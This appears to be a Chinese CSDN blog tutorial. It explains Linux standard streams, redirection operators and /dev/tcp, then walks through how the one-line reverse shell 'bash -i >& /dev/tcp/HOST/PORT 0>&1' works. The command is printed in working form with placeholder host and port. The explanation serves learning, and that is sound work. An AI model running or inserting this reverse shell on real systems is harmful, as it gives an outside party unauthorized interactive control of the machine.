带你读懂bash一句话反弹shell

本文详细介绍了Linux中的标准输入、输出和错误重定向概念,以及如何通过重定向符号改变它们的读写对象。同时,文章还探讨了一种特定的bash命令行用法,用于创建反弹Shell,使得所有输入输出都通过网络连接进行,这对于理解Linux系统管理和网络安全具有重要意义。
摘要由CSDN通过智能技术生成

需要知道的linux知识

标准输入、标准输出、标准错误

在linux中输入一条命令会打开三个文件:标准输入、标准输出、标准错误。
在任何时候这个进程希望读取东西的时候都会从它的标准输入进行读取,在任何时候这个进程有输出的时候都会写入到标准输出,在任何时候这个进程有错误信息的时候都会写入到标准错误。

重定向

一般情况下,标准输入都是键盘,标准输出和标准错误都是显示器。
所谓的重定向,就是修改标准输入、标准输出、标准错误的读取或写入的对象。
常用的重定向操作符号有以下几个:

命令说明
command < file将command命令的输入重定向到 file。
command > file将command命令的输出重定向到 file。
command >> file将command命令的输出以追加的方式重定向到 file。
command 2> file将command命令的标准错误重定向到 file。
command 2>> file将command命令的标准错误以追加的方式重定向到 file。
command &> file将command命令的标准输出和标注错误都重定向到 file。
command >& file同上,一个含义。
m >& nm标识的 标准输入 \ 标准输出 \ 标准错误 重定向为n标识的的标准输入 \ 标准输出 \ 标准错误的去处。m、n取值0、1、2,分别表示标准输入、标准输出、标准错误。

/dev/tcp/

linux中有一个特殊的文件,以任何方式打开/dev/tcp/HOST/PORT都将向HOST/PORT发送tcp连接请求,读取该文件则表示从socket取其中的内容,写该文件则表示向socket发送内容。

不论是读还是写,其实都是进行了打开操作之后的动作。

bash一句话反弹shell

bash一句话反弹shell的内容是:

bash -i >& /dev/tcp/HOST/PORT 0>&1

bash -i开启了一个交互式的shell。
然后使用>&将标准输出和标准错误重定向到/dev/tcp/HOST/PORT。
最后使用0>&1将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到/dev/tcp/HOST/PORT。
总结下来,就是执行了bash -i进程,该进程的标准输入、标准输出、标准错误都是/dev/tcp/HOST/PORT。
其效果就是所有的输入和输出都来自于网络的另一端。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值